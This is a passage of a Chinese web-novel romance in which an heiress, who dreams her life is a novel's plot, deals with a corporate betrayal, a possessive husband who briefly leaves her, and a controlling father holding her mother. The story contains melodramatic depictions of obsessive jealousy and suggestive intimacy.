饶青临面上有一瞬间扭曲,缓过痛楚,他笑:“你是用什么身份来要求我?如果是丈夫身份,作为小陈总背后的男人大概是没资格管她工作上的事,我想你还是适合回去洗衣做饭,这不是你能插手管的事情。”
他走了这么久的路来到她面前,绝不甘心止步于此。
这一次,宗英宴的鞋碾上饶青临的脸,戾气横生。
“夫妻共同财产是指婚姻关系存续期间所得财产归夫妻共同所有,夫妻双方对共同财产享有平等的处理权,无论是金钱还是时间,陈妤都只能归我所有。你算什么,上不得台面的下三滥儿,也配和我争!”
他绝不做无能的丈夫,他的妻子只能是他的。
对付这种不要脸面贴上来的贱男人,宗英宴处理一向简单粗暴,将人脱光了扔到垃圾填埋场。
回到病房,陈妤还在熟睡。
她的长相属实偏魅,长眉入鬓,五官立体度极强,顿感和尖锐的交织,带来强烈的视觉冲击,最妙的是山根中央那一颗红痣,位置不偏不倚,无端勾勒几分稠艳的媚意。
偏偏那双凤眼望人时,眼尾微微上挑,疏远凉淡,总是带着几分冷。
顶光下陈妤的唇艳得像上了层唇釉,宗英宴忍不住舔了舔,浅尝即止。
对于陈妤,他有一种深入骨髓的执念,恨不得每天住进她身体最深处。
宗英宴面上淡淡笑着,手指隔空虚虚勾勒陈妤五官的轮廓,眼底凝结浓郁可怖的占有偏执欲。
她该是他的,他绝不会放手。
陈妤似是感到不安,唇瓣轻微阖动,吐露出几个模糊的音节。
宗英宴心情极好附耳过去:“我在,沉鱼,你梦见了我是吗?”
陈妤低声呢喃。
这一次,他终于听见。
他的妻子在喊:“饶青临。”
一个不属于她丈夫的名字。
4. 第 4 章
陈妤觉得自己快死了。
她的灵魂好似脱离沉重的身体,漫无目地在黑暗中漂浮,直至猛然被狂风卷进漆黑洞口,飞沙乱石,陈妤感觉灵魂被强烈挤压,动弹不得。
刺眼强光散去,耳旁还伴有嘈杂人声,陈妤前25年的人生光景化作走马灯缓慢展开。
奇怪的是,那些画面里没有宗英宴,她身边由始至终站着另一个男人。
陈妤冷眼看着画面里的自己变得癫狂病态,对看不清面容的男人百般委屈求全,任他欺凌冷待。直至男人一朝飞龙在天,她凄惨结局收场。
最后的画面里,纸张翻飞,露出一页人物简介。
陈妤,年25岁,春日集团总裁,出身显赫,心机深沉,自私恶毒,在母校座谈会时对天龙人乌大清贫校草饶青临一见钟情,为此不择手段,对饶青临强取豪夺而至致家族倾倒,凄苦贫困而死。
饶青临……
陈妤默念。
病房里,临窗摆放的27朵厄瓜多尔权杖玫瑰花瓣极致鲜红热烈,恍若一颗跳动的心脏被放在权杖顶部。
宗英宴再次听到他的妻子梦里喊出野男人的名字,字字缠绵、缱绻,引人遐思。
她甚至没有用这样的语气喊过他。
病房靠近乌市自然生态园,除了墙上挂钟的滴答声和窗外树枝的簌簌作响,周围一片寂静,微弱的月光洒在地砖上,映出摇曳的树影,仿佛鬼魅。
宗英宴低低的笑透过门板传入周秘书耳里,引来皮肤上无数的颤栗。
他脸上阴沉沉的,是山雨欲来的平静:“你变心了。”
停顿几秒。
宗英宴勉力维持的平静被撕破,心底压制的猛兽出笼,微凉的指骨抬高陈妤的下颚,扯下片花瓣从红唇抵进去,他随后倾身覆上去,舌尖撬开她紧闭的牙关,长驱而入,不留一丝缝隙。
陈妤唇腔被塞.满,呼吸不畅,连带着发出的字音也模糊暧昧。
很久,宗英宴把舌头从她嘴里抽.出,薄唇仍贴着陈妤,呼吸交缠,说话间带动唇肉颤动。
“你不乖,这里,只能喊我的名字。”他低语,像是说给自己听,“没关系,我不怪你,都是他们的错,你只是被引诱分了心。”
那扇门打开,宗英宴面色苍白,红得近乎泣血的唇角含笑,一双漆黑眼瞳深处却毫无笑意。
周秘书心下一惊,立马迎上去。
宗英宴声音沉冷:“召集法务部,十分钟后开始视频会议。”
朗星天宸的法务部,号称全球维权狠角色,拥有专业律师近千人,且每年从各大法律院系直招,硕士起步,年业务量平均评审6000亿规模合同,近1000全球法律纠纷以及数千起专利申请。
而它的杀手锏就是专利布局+跨境诉讼,业内流传只要惹了朗星天宸,一个都逃不了。
十分钟后,投视屏被切割成无数细小画面,各色人种正襟危坐。
冷光自宗英宴眉峰拦截而下,他坐姿轻慢,眼底漆黑一片,杀意尽显。
“AI芯片核心负责人饶青临,不惜一切代价运用法律手段让他牢底坐穿。”
宗英宴自认不会愚蠢到以身犯法,刑事犯罪的话他就是过错方,丢了陈妤的面子很有可能会成为离婚的理由,她身边的位置也会被空出来,他绝对不允许这种局面发生。
静寂不过几秒,方案一个个涌现。
-
陈妤醒来时,头痛欲裂,好在那种可以控制身体的感觉再次回归。
脚上触感有些奇异,像是靠近了火炉,自动汲取源源不断的热量。
陈妤半撑起身子看过去,深秋的天气,宗英宴只穿了件单薄的衬衫,面容无害,毫无设防蜷缩在床尾,扣子全开的怀里紧紧搂抱着她的双脚,嘴里呢喃着她的名字。
倘若她真如梦境里预示活在一本书里,为何会放弃宗英宴这样老实忠诚又貌美的丈夫,转而去痴恋寡情薄恩的饶青临?
他呼吸间喷洒的灼热气息弄得陈妤足底有些酥麻,她不由动了动。
极细微的动静,宗英宴睫毛颤了颤,眼皮掀动,不错眼锁住她。
“我听说了,你晕倒是因为饶青临,连带你之前晚归那一次也是遇见了他才进了医院。”他面容有些苦涩,像是被抽干所有精气,浑身一股颓劲儿,“如果你心里有了别人,我不会让你难做,我离开就是了。”
“只是饶青临不行。”宗英宴言辞突然尖刻,英俊的面容有些扭曲:“我找人算过,他生来八字克你,强行在一起会让你折寿破财,家破人亡。”
陈妤抬手示意他过来。
宗英宴仔细替她窝好被子,这才坐在她床边,不是面对面,挺括的背肌展露在她眼前,难得生了窝囊闷气,等着陈妤哄。
陈妤有些好笑,只拿一根手指戳了戳他的腰窝,宗英宴便像小狗闻见骨头,开心地摇着尾巴转了过来。
“你说的对,饶青临的八字克我。”
她静静凝视着他,刚有些轻松的心情变得沉重。
“如果,我是说如果,当初我没有从梨园把你带回来,你会怎么样?”
他的妻子醒来后第一句问话就是做了没有他的假设……
宗英宴压下心底汹涌肆虐的戾气,不要生气,会吓到她。
夫妻一体,哪怕妻子变了心,身为合格的丈夫也不该将矛头指向她,刀尖所对应该是外边的野男人。
有那么一瞬,陈妤敏锐捕捉到了宗英宴情绪翻涌的气息,可仅仅一秒,他又恢复那副寡言沉闷的面容,仿佛刚才只是她的错觉。
“我这样的人,没有沉鱼挽救我于水火之中,大概是随风飘零,最后也不过落下个鱼死网破的结局。”宗英宴扣着她的手指一寸寸抚过他的脸,“爸妈说我这样的脸生来就是让人糟蹋占有的,直到遇到了你,我第一次为此感到荣幸。还好是你,幸好是你。”
“那天夜里虽然是醉酒之过,但我从没后悔过,宗英宴,你是我在亿万人群里千挑万选的。”
陈妤声音笃定而温和,她背弃了从小订下的婚约,将宗英宴带回来的那一刻,她就知道此生大概是栽倒在他手里了。
所以不要担心我会抛弃你,在自我意识可控范围内,她身边只会有他一个人。
倘若她注定结局凄惨,陈妤唯独放不下宗英宴,离了她,他大概会活得艰难。
接下来这段时间,陈妤变得很忙,甚至开始夜不归宿,她急于去验证梦中剧情的真实性。
“小陈总,和徐总监碰面的人是明晴的高层。”
凡妮莎将手里的证据放在陈妤的桌面,预料之内碰见她眉心拧了一下,肉眼可见的烦躁和厌弃。
细说起来,当年陈家那点事谁不知道,最后年仅6岁的陈妤被送往国外。大概是出于补偿心里,老陈总从福利院挑了年龄适当的徐肇港作为陪读一同送往国外。
徐肇港陪在陈妤身边将近二十年,在宗英宴还没出现前,徐肇港可谓将陈妤捧在手心里过活,比陈家做工几十年的老妈子还上心。
陈妤也从未亏待过他,毕业回国后一手带着徐肇港进了春日,甚至让他坐上了产品研发部总监位置,接触公司核心业务。
凡妮莎想不出徐肇港背叛陈妤的理由。
陈妤同样想不出,她看着照片里
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西装革履,谈笑风生的人总觉得有些不真切。
她对徐肇港最初,最深刻的印象还停留在老头子将他从那所以她名字命名的福利院带回来那一天。
纵使换了身簇新的衣服,徐肇港整个人看起来仍旧旧的,皮肤黑黄,眼睛暴凸,瘦的肋骨外翻,明明比她还大了五六岁,看起来还没有她高。
陈妤那时不过看了一眼,就让人把他送回去。
结果在不久后的某一天暴雨夜里,徐肇港爬过长长的臭水沟,躲过重重的安保,穿过狗洞再次出现在陈妤面前时,她留下了他。
“出发去明晴。”
陈妤想,她需要一个解释。
在原书剧情里,在三个月后的新品发布会前,春日集团即将推出的养老陪伴型机器人核心数据丢失泄露,近千亿的研发投入打了水漂,公司遭遇重创,股值大跳水,堪称风雨飘摇。
陈妤没想到,那个内鬼会是徐肇港。
到了明晴集团楼下,她猛然想起上次来还是三年前,不过那时陈妤是来和明晴接班人周况竟退婚的。
周家往上数十几代都是世家名流,家风清正,向来行的是君子之风。哪怕婚礼在即,不过考虑了三天,周况竟还是很有风度答应了她。
专梯直达顶层。
陈妤这样的身份,哪怕和明晴处于对家,硬闯对方办公室倒也不是什么难事,不过是有些不体面。
象征性敲了两下门,没等里面的人回复,她径自推门进去。
落地窗前正在对峙的人大概没想到来人是她,转身的面容都有些惊愕。
陈妤自顾自坐在周况竟办公椅,桌面上的不倒翁摆件还是她幼时送的,不值一提的小玩意儿,她随手拿过把玩。
“周总和我的人见面,怎么也不提前知会一声。”
她松手,摆件应声而落,碎片高高溅起,又重重落下。
周况竟勾唇,眼底划过地上的碎片,面上有淡淡的阴霾,低嘲:“既然你能来,大概是心里有数。”
“你很坦然。”陈妤又将目光对向始终一言不发的徐肇港,“那你呢,你该知道这样做我可以让你牢底坐穿,明晴给你许了什么好处,你竟然会背弃我。”
徐肇港抿唇,身后的手攥紧拳,指甲刺入掌心,滴滴鲜血落入墨色地毯,洇出深色水痕。
“足以让我另立门户的投资额。”
陈妤端详他面容许久,垂眼,笑了笑:“如果你想要的是这个,以你的能力,留在我身边迟早也会得到。”
徐肇港嘴角试图扯出僵硬的笑,只是努力尝试了几次,还是失败了。
“如果留在你身边,我要的不会只是这些。”
陈妤脑海里有一丝亮光闪过,极快,还没等她捉住已然消失得无影无踪,徒留一片茫然的空白。
“看在多年情分上,这次我放过你,你好自为之。”她又转向周况竟,低叹:“令尊哪怕是在波云诡谲的商场上也是出了名的君子,我希望你不仅继承的是他老人家的衣钵,更该有他的行事作风。”
周况竟艰难吸了口气,惨然一笑,面容颓败。
他生平最恨的事,就是曾经引以为傲的君子之风。
没有再理会脸色难看的两人,陈妤撇下所有人,独自开车前往律所。
丁律师怀疑自己听错了,他略带意外地重复了一遍:“陈女士的意思是要拟定和宗英宴先生的离婚协议。”
陈妤摩挲着右手无名指上的痕迹,这几日婚戒镶嵌的粉钻有些松动,她让人送往瑞士维修。不过短短三年,手指上已经留下不可磨灭的痕迹。
“是,我要和宗英宴离婚。”
5. 第 5 章
陈妤的语气笃定,不带一丝踌躇,有条不紊分配着名下的资产。
经由徐肇港一事,陈妤几乎断定她所在的世界是在一本书里,可书里从来没提过宗英宴,他更像是出现在她身边的一个变数。
陈妤甚至不知道他的结局是怎样,如果她的结局注定不可逃脱,那么至少宗英宴的结局要圆满。
她总要留下足够他富足生活的倚仗。
距离上次回家已经是三天前,这次迎接陈妤的是一室冷寂。
安静得过分,没有一点活人气息。
不对劲。
陈妤在玄关处换了软底拖鞋,走近喊了几声宗英宴的名字,没有半点回声。
再往里走,窗台的玫瑰花瓣还缀着露珠,恒温桌板摆着做好的饭菜,厨房炖盅有温着的养胃汤,那条她惯常给宗英宴腰后系上蝴蝶结的粉色围裙规规整整挂在心形手柄上。
房子里一切物品都好好的,唯独属于她的丈夫不见了。
回到两人的卧室,衣帽间她为宗英宴添置的衣物,手表还在,唯独少了一件当初陈妤将他从梨园带回来穿的那件微透的白绸禅服。
除了偶尔哄她开心,那件衣服宗英宴很少穿。
梳妆台上留有一封信,用红色的结婚证压着,赫然显眼。
手指展开那封信,细细摩挲下指腹甚至能感受到力透纸背的凸痕,笔力遒劲,转折锐利,字里行间透了股狠劲儿。
陈妤幼时曾跟随书法大师学了几年,这样性格该是偏执,控制欲强才是,常说字如其人,如今看来似乎也不全然是。
【沉鱼,你知道的,我从来不舍得让你难做。这花花世界,我放你自由,我也该回去属于我的地方了。】
陈妤看完,蹙着眉,将纸张撕了个粉碎。
什么花花世界,她身边一直只有他一朵。
宗英宴大概不知道,自他成为她的人开始,来去已经不是他能够决定的事。
他的手机绑定了陈妤的账户,她看着屏幕上显示的定位,周身气压骤低。
天云区城中村,极为鱼龙混杂的地方,堪比港岛九龙城寨。
宗英宴这模样,身段的人进去,无异于稚子抱金过闹市。
将手机频频跳出来暴风雨的黄色警报抛之脑后,陈妤舍弃平日出行的轿车,选了更符合她此时心境的红色超跑。
艳丽的颜色,在雨夜像一团热烈的火疾速穿过高架桥。
陈妤生着气,也就没留意明明是不宜出行的恶劣天气,除了她的车之外,其余几条车道清一色的越野车将她包围其中保驾护航,高空之上,数十架无人机顶着狂风紧紧跟随,实时播报踪迹。
狭窄.逼仄的巷子,仅能勉强容纳路人行走,陈妤将车停在路口,没带伞,就这么下了车走进她此前从未踏足过的世界。
昂贵的羊皮底高跟鞋踩过潮湿泥泞的地面,胡乱搭建的电线密如蛛网,也带不来几丝光亮,从下往上只看见一线暗沉的天际,转过弯石灰墙斑驳脱落,长满青苔。
陈妤循着定位的楼栋走去,时不时扫过墙上贴着□□,代运,治疗性病的广告。
经过一楼收废品老人的家里时,她拿了条生锈的钢管在手上掂了掂,颇为满意摘下腕骨上的金链子递过去。
“用这个换。”
钢管划拉过地面刺耳的声音,逼退些许不怀好意的眼神。
到了地方,隔着那扇门,陈妤耐着性子敲了一下。
“开门,是我。”
门后的人似乎极为激动,她听着一连串的响动,桌椅推翻,玻璃杯落地,最后是急促而戛然而止的脚步声。
门,仍旧没有打开。
男人极力压抑着嗓音的激动和委屈。
“你不去找他们?”
“我来接我的丈夫回家。”陈妤抬腕看着手表秒针挪动,耐心逐渐告罄,“开门。”
等了两秒,她高举起手里的钢管往门锁用力砸去。
老旧的门锁不堪一击,哐当一下,门开了。
陈妤目光扫过完好无损的宗英宴过后,开始梭巡不足十平米的单间,泛黄发霉的墙,浴室和厨房连在一起,只能容纳一人转身,布置简单,一张床,一张桌子,一把凳子,再无其他。
她将倒地的椅子挡在门锁坏掉的门后,开始抽丝剥茧审视她的丈夫。
“你离开我,就是为了住进这样的地方?”
朦胧的光线里,宗英宴抬眼望着她,视线涣散,仿佛失了焦距,苍白的脸,嫣红的唇,深邃晦暗的眼底却燃起簇簇鬼火,看上去魅惑又脆弱,似乎在忍耐极大的痛苦。
“你三天没回家,是你先不要我。”
湿哒哒的衣服穿在身上并不舒服,陈妤看了眼窗帘紧闭的窗户,就这么干脆脱了。
哪怕全身赤.裸,陈妤一脸坦然,仅用一条皮筋扎起的黑发紧贴头皮,完美的骨肉皮相一览无遗,与生俱来的贵气,举手投足都是慵懒闲适的气度。
“有干衣服吗?”
宗英情绪波明显,喉结止不住上下滚动,沉吸着气,深黑的瞳孔染上最直白的欲,脑海里浮现很多有关肮脏,邪恶,禁忌的画面,他开始解上衣的扣子:“没有。”
一套衣服,一人占了一半。
那件微透的白绸禅衣挡不住身体的线条,陈妤看着哪哪都不能坐的地方,走到宗英宴面前,坐上去,臀下肌肉结实温暖,勉强满意。
她用手覆住他的眼睛,紧紧的,确认指缝间没有一丝光透露进去。
“不要分心。现在我来问,你只需要回答。”陈妤勾唇,在他耳边轻轻道:“为什么走?这三天我只是出去处理事情。”
眼前被覆盖住,并不妨碍宗英宴想起妻子的身体是如何软滑可口,那双被遮住的眼睛充满危险,是动物世界里蛰伏的雄性即将占有雌性的兴奋和掠夺占有,是基因血脉里的汹涌喷张。
这些想法宗英宴永远不会让陈妤知道。
只能做出来。
陈妤静待他回答,猝不及防一只炽热的手掌猛的扣住她的后脑,不重却足以让她挣脱不得的力度。
她的唇被迫贴上他的,纤细脚踝上虚虚勾着的高跟鞋要脱不脱,涂着酒红色指甲油的脚趾套了枚刻着宗英宴名字的戒环,他摩挲上去,细细把.玩,骨质脆弱宛如初生。
并不隔音的房间,粗重的喘息声很重。
陈妤出身好,旁人看她两眼已经是极大的冒犯。
更何况是这样的亵.玩,她白得像玉石的脚背勾了勾。
可两人是夫妻,这样算是情趣,陈妤安慰自己,又将脚放进宗英宴的掌心。
宗英宴像是孩子终于吃到了糖,叼住不放。
很久,他松了嘴。
只是眼神仍旧晦涩,声音也有些嘶哑:“你什么都不和我说,他们都在觊觎你,我争不过,只能走。”
陈妤搂住埋在怀里的脑袋,长指细细梳理他短而硬的发根:“你不用争,一直只有你。”
宗英宴解开她的扣子,全然贴上去,又抬起长腿,将她整个人禁锢收拢在自己控制范围内。
做完这一切,他微抿起薄唇,眼底泛着丝丝红意,透着病感的艳,这才露出她熟悉的温柔:“那说好了,我只有你,你只有我。”
一字一字,从齿间碾磨而出。
脑子还没来得及思考,心开始疼了,陈妤下意识应了声好。
这样的场合是在很适合做些什么,奈何陈妤吃不了苦,两人驱车回去。
没有撑到归家,车子停在监控盲角,剧烈摇晃起来。
-
每月20号,是老头子规定陈妤可以回去老宅探望母亲农初霁的日子。
陈妤推掉这日的行程,早早起床,将之前在欧洲出差时淘回来的荆棘鸟中古灯擦了一遍又一遍。
农初霁并不喜珠宝名衣,唯独对一盏盏造型各异的灯具到了痴迷的地步。
她抚摸着荆棘鸟硌手的纹路,眼底深色平静到令人发瘆:“人都安排好了吗?”
“是,随时待命。”
以往陈妤总是独自前往,但这次她想将农初霁从老
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头子身边带出来。
比起家族破产,那个预示梦境里,她更在意的是不久后会病逝的农初霁。
自有记忆开始,陈妤一直在乌大家属院生活,外公博学儒雅,外婆开明慈祥,妈妈闹腾明媚,那是她一生最无忧无虑的光景。
直到6岁那年,她见到了生物学上的父亲,陈枭。
陈妤还记得那一天,她刚将隔壁嘲讽她没有爸爸的小胖子门牙打掉,美滋滋打算回家炫耀战绩。
刚进门,她就觉察到了不同以往的剑拔弩张气氛,家里来了许多穿着黑衣服的人,外公外皮被强压在沙发上动弹不得,陈妤记忆中总是满脸带笑的妈妈脸上带着泪痕,跪坐在地上祈求那个被拥坐中间的男人。
陈枭姿态闲适坐在那张专门为她坐的大沙发上,指缝间夹着燃烧的雪茄,面无表情打量着她:“回来了,将她带过来。”
陈妤就这么被提着后脖颈扔到了那个男人脚边,妈妈满脸惊恐爬起来将她护在身后。
“枭哥,不要动她,我听你的话,跟你回去,让小妤留在我爸妈身边好不好?求你了,我会乖的。”
陈枭面无表情,高大的身影在她面前投下扭曲诡异的暗影。
“初初,你以为我还会信你吗?”陈枭冷哼一声,将陈妤拎出来,骨节粗大的手指扼住她的喉咙,不断收紧,“我的女儿怎么能流落在外,我们一家三口自然是要齐齐整整。”
那天过后,港岛延续百年的家族陈家搬迁至乌市,那年畅销的娱乐头版:世纪婚礼!天才少女画家农初霁靠女上位,绑牢豪门巨富陈枭!
说是一家三口齐齐整整,事实上陈枭只留了陈妤几个月,就将她匆忙送往国外,自此独占农初霁。
只有每年的圣诞假期和农历新年,陈妤才会被允许回国。
再长大一点,陈妤从陈家做工几十年的帮佣了解到更多。
比如说,农初霁20岁中断学业生下她。
再比如,以前的陈氏集团更名为明日集团,明日是陈枭亡妻的名字,那位红遍香江的歌女,为陈枭生下二子才换来的名份,死后才得以正名。
而她妈妈长相,和陈枭那位亡妻像了十分。
陈妤来到老宅时,农初霁已经提前煮好了一壶红茶,几碟她爱吃的点心。
一袭月白旗袍,素手侍弄花草,哪怕眼底枯寂空洞,病骨支离的面容仍让人挪不开眼。
陈妤脚步放得很轻,上前喊了声:“妈妈。”
宗英宴跟着喊了声妈。
农初霁放下剪刀,眼底重新注入生气,不满地嘟囔,仍是爱撒娇:“结婚了就忘记你还有个妈了,这么久才来看我。”
陈妤笑了笑,将黑胶唱片的中心孔对准留声机唱盘的轴心,轻轻抬起唱臂放下,淡淡的爵士音流淌出来,掩盖住几人接下来的对话。
“我这次来,是带你走。”
农初霁不顾身份蹦跳起来,瞪大眼不可思议道:“宝贝,你说真的?”
得到肯定回答,她欢快地想上楼收拾自己的家当。
刚转身,楼梯上听了良久的男人缓步下楼,目光渐渐凌厉:“去哪?”
陈枭是个不值钱的二婚老男人,比农初霁大了15岁,将近花甲的年纪,脸上却不显丝毫皱纹,只眉间浓郁的深沉可怖戾气,无端让人害怕。
农初霁止步,没那么硬气嗫嚅道:“要你管,宝贝女儿接我去享福。”
陈妤走至母亲身边:“我要带妈妈离开。”
陈枭扫过陈妤和农初霁如出一辙的眉眼,还真是他的好女儿,会帮着农初霁一起违抗他了。
他目光落到以保护姿态静待陈妤身边的宗英宴,彼此对视一眼,暗流涌动。
呵,朗星天宸的晏总,隐瞒身份夺了他女儿的芳心。
不过在他看来,为了得到心爱的女人,耍些不入流的手段是无伤大雅的事。
但陈枭记得,当年仅16岁的陈妤口口声声说绝不会找像他一样偏执,控制欲强的男人做丈夫。
可宗英宴,和他是同类啊。
6. 第 6 章
陈枭一贯威严冷漠的脸上没有多余的表情,瞥了眼似乎找到靠山的女人,抬手松了袖扣,将爵士音乐停了,确保她能听到自己的命令。
“过来。”
没有指名道姓,但在场的人都知道喊的是谁。
陈妤身形微动,挡住他扫向农初霁的视线,抬眼微仰视不远处的陈枭:“您知道的,妈妈想离开您,想离开这个家。”
陈枭没有理会陈妤,深邃幽暗的一双眼牢牢锁定那道娇小摇曳的身影。
“又不听话?”
威胁十足的沉重语气。
陈枭大可挥挥手指将人让农初霁带过来,陈妤带过来那些人还不够阻止他行使管教自己妻子的权利,可他偏要让农初霁自己走过来。
农初霁有些怕他,想起他夜里那些恶劣又见不得人的手段,身体应激性发颤,脚步不听使唤朝他的方向挪动。
顾及女儿女婿在场,她有些抹不开脸面,求饶撒娇的声音也不如往日甜腻:“老公,我错了,我听你的话,你别生气。”
陈妤听得刺耳,扯住母亲即将擦肩而过的手臂:“不用管他。”
“放手。”陈枭面色全然冷下去,黑眸沉沉,极具压迫感:“我还没死,这个家轮不到你做主。”
陈妤毫不畏惧地挑衅对视回去。
宗英宴注视着他名义上的岳父,眼神隐晦,毫无温度,十分不满他对陈妤说话的语气。
两个男人不着痕迹对视,无形交锋,相同的特性,磁场碰撞。
陈枭的眼神在电光火石间发生极为微妙的变化,他女儿选丈夫的眼光不错。
唯一的缺点是,和她的母亲一样不听话,总想逃离他。
气氛降至冰点。
农初霁知道这时候该夹紧尾巴做人,心底燃起的小火苗悄然熄灭,她拉开陈妤的手,小幅度对她摇了摇头。
小跑过去扯住陈枭熨帖得宜的西服袖子,似小羊羔乖顺伏在他怀里:“老公你别生气,我哪里都不去。”
陈枭收回视线,黑眸落在怀里的小人儿上,大掌扣住她仍然纤细绵软的腰肢不轻不重揉捏,他记得这几日她处于经期,腰酸得厉害。
在陈家帮佣几十年的阿姑递过来电话。
那头传来大哥陈乌舟沉稳的声音。
“小妤,不要冲动,等我回去再说。”
挂了电话。
陈妤无力闭上眼睛,有什么东西隐隐折磨着她的内心,敲碎她的脊骨,逼迫她屈辱折服在陈枭的强权下。
这么多年过去,她还是不够强大。
“男性平均寿命在76岁左右,但是像您这样烟酒过多,心眼小脾气大的得打个折扣,算宽裕点,顶多能再活个三五年。”陈妤忽地笑出声,“到时候等您出殡了,我再风风光光将妈妈接出去享福。”
说完,陈妤不顾陈枭骤然铁青的脸色,迈着六亲不认的步伐,牵起宗英宴头也不回走了。
-
陈乌舟刚下飞机就接到老宅那边通风报信的电话,得知又是家里最小且不省心的妹妹打算闯祸,他一路闯红灯往回赶,没到半路又接到父亲暴怒的电话,言辞间都是责怪他没有管教好陈妤。
“我觉得您是最没资格说这个话的人。”
陈乌舟还记得他第一次去瑞士探望陈妤时,正碰上她将庄园闹得人仰马翻,所有的人都在找她,整座庄园陷入前所未有的恐慌和混乱中。
他找到陈妤时,她小小的一团,独自蜷缩在树屋的阁楼上,睁着眼睛还没睡。
后来他问起,陈妤说他们金毛蓝眼,喊她的名字还带诡异奇怪的腔调,很像恐怖片里的恶鬼。
她以为是和小伙伴玩的通灵游戏显灵了,陈枭出现,妈妈和外公外婆满脸恐惧,而自己被带走送到陌生的国度,人种差异,语言不通。
哪怕后来开智了知道这不是通灵游戏,世上也不存在恶鬼,陈妤也没吵着回国。
电话另一头纵横商场无往不利,言辞向来犀利诡辩的男人陷入长久的缄默。
与此同时,宗英宴觉察到陈妤的反常,她很消沉。
她妆容仍旧精致,发丝未乱,珍珠链条规整悬挂在腰肢,宽大黑色礼帽遮挡下的下颌仍以倨傲的姿态微微扬起,但宗英宴能感受到陈妤身上那股涌动的生机平息了。
他首先看了眼后视镜里的自己,皮囊仍旧光鲜可口,没到人老珠黄的地步,还是陈妤喜欢的模样。
问题不在他身上,那只能是外源性因素。
夫妻三年,宗英宴知道陈妤能见到农初霁的次数屈指可数,所以每次见面她都会带着堆叠的灯具和积攒的书信去老宅。
他知道她一直在等,等一个合适的时机。
但现在并不是合适的时机,陈妤却不想等了。
宗英宴垂眼打量着两人交缠的手指,属于陈妤的无名指光秃秃的,戒指被送去维修,他的监听器也被提前拿了出来。
妻子身上一定发生了什么他不知道的事情。
他讨厌这种偏离掌控的感觉,更不喜欢任何人或事过度引起陈妤的情绪波动。
但陈妤想要的,他都会帮她抢来。
宗英宴将她的脸转过来,视线描摹着陈妤的轮廓,神情专注,殷切,期盼:“需要我帮忙吗?”
只要她能开心,他不介意使些非常规手段将农初霁‘偷’出来。
意识到是她影响了他的情绪,陈妤有些愧疚。
她将他带到身边,本意是让他过快活舒心的日子的。
陈妤将那些灰色情绪压下去,努力压进最深处,她朝他笑了笑:“暂时不用。”
“你想要的,我会帮你。”宗英宴眸光抓住她不放。
“相信我,我能处理。”
作为当家女主人,陈妤自觉承担了更多养家的重担。
“好,我信你。”
宗英宴微微倾身,抬起下颌,线条性感的喉结暴露在她的眼底,鼻尖轻轻抵住陈妤,意味很明显。
他知道她会喜欢。
陈妤果然没抵挡住,视线被勾在那片区域停留了一会儿,距离拉进,她张开红唇,轻轻含.住那片皮肤。
她没有咬下去,只是轻轻含.着,用牙齿轻轻研磨
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这是陈妤独特的排遣压力方式。
宗英宴瞳孔一瞬不停注视着下方的妻子,眸色转深,喉结颤了下,浑身肌肤泛起了好看的粉红色。
现在不是进行情.事的好时机,但不妨碍他火热的视线逐寸巡视陈妤被黑丝绒裙子牢牢包裹的身体,像是在抚摸,也像在舔舐。
那些无数夜里的缠绵记忆自动转播成限制级小电影在他脑海里循环播放,身体逐渐得到快.感。
两人到达栖凤湾时,正好被陈乌舟撞了个正着。
陈妤从老宅败兴而归,自然对遗传了陈枭八分长相的陈乌舟没有好脸色,硬邦邦喊了声大哥,便冷着脸直往里走。
“小妤,你太心急将妈带出来了。”
陈乌舟喊住她。
他凝视着陈妤薄薄的肩背,羽翼尚且未丰,偏这胆子大得很。
“不是你亲妈,你当然不急。”
对失去妈妈的恐慌,对剧情的无法预知和不可控,这段时间压在陈妤心头沉甸甸的巨石在陈乌舟不赞同的目光下哐当一声滚落,失了平日的冷静,未经思考的言词化作利刃刺向最亲的人。
陈乌舟眼中沉痛一闪而过,高大健壮的身影似晃了晃,手臂撑在黑色皮质沙发,五指成拳,骨头摩擦音作响。
“抱歉,我非有心。”
陈妤自知失言,厌弃将自己抛入沙发,双手往前撑着额头,强迫自己冷静下来。
宗英宴伸手以环抱的姿势一寸一寸地将陈妤笼住,后背缓缓弓起,用自己的身躯在陈妤和陈乌舟之间形成无形的隔离。
“大哥不会怪你的。”他含笑望向陈乌舟,眼底的警告意味很浓:“对吧,大哥?”
他的沉鱼不会说错话,声音这么好听说些难听伤人的话怎么了,都是陈乌舟这个当大哥的心理承受能力差,长了没用的耳朵。
陈乌舟胸膛微微起伏,深呼出一口浊气,沉静的目光锁住陈妤:“你知道爸最看重什么吗?”
陈妤拒绝回答这个和陈枭相关的问题。
“一是利益。”陈乌舟停顿了下,颇有些自嘲:“二是妈妈。如果你想将妈妈带走,只能动东南亚那块他最看重的海岛计划,出了问题,他一定会亲自去处理。”
海岛计划也叫明日计划,以陈枭亡妻名字命名,传闻他曾经许诺过要给她建造一座海岛王国,那里有世界上最美的乳白色海岸线,退潮是沙滩上会自然浮现出星芒状文理,只是至死明日都未曾等到。
因此陈枭对海岛计划执念很深。
陈妤抬眸:“我明白了。”
她记得剧情里海岛计划在不久后莫名被截胡了,陈枭暴怒如雷,只是一直查不出背后的人。
宗英宴眼底掠过一丝阴暗的蠢蠢欲动,那些晦暗汹涌的欲.念被勾起,如澎湃深海在心口流动。
海岛计划?
不如沉鱼计划好听。
“沉鱼,你喜欢吗?”他凑近陈妤耳边用异样温柔的声音低语,询问:“如果喜欢,我抢过来送给你。”
宗英宴第一次在妻子面前展露真真切切的自己。
7. 第 7 章
眼底浓重的野心、欲望,皆以臣服的姿态呈现在陈妤面前,只待她一声令下,他即刻冲锋陷阵,将胜利品献祭给他的神明。
陈妤轻轻摸了摸他的眼角:“我很高兴你能说出这样的话。”
这种感觉很奇妙,向来捧在手心豢养的娇弱丈夫,她只期盼他舒心愉悦,哪怕老实笨拙一点也没关系。
可当他提出要去外面闯一闯,除了心里油然而生的自豪,陈妤更多的是担心外边的风雨将宗英宴的翅膀淋湿,甚至反思自己是否表现过于无能,以至于让他突然生出闯荡的心思。
陈妤思量了很久,迎着他执拗的目光,半妥协道:“如果你想出去工作,我在春日给你安排岗位。”
丈夫的容貌,作为妻子她除了觉得是荣耀之外,此刻不免生出忧虑。算了,还是放在眼皮子底下看着,总不至于有不长眼的眼敢碰她的人。
至于宗英宴说的话,她没有放在心上。
家里2岁小侄女还说过摘星星送给她,不也没实现吗?
看来不相信他啊。
宗英宴睫毛缓缓覆盖眼底的浓黑,压抑着,沉寂着。
既然不信,那就做出来。
抢过来,她总会喜欢的。
“好,我们家你做主,我听你的。”
